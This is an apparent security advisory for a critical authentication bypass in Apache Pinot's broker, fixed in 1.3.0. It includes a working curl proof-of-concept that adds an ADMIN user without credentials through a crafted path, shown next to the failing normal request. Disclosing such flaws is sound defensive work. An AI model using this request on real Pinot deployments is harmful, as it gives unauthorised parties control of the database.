Critical (9.8) in apache pinot. EPSS 80% chance of exploitation in the next 30 days. Fixed in org.apache.pinot:pinot-broker 1.3.0.
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
Severity
CVSS 3.1
9.8 critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
80% chance of exploitation in the next 30 days; higher than 99% of CVEs (scores of 2026-10-31)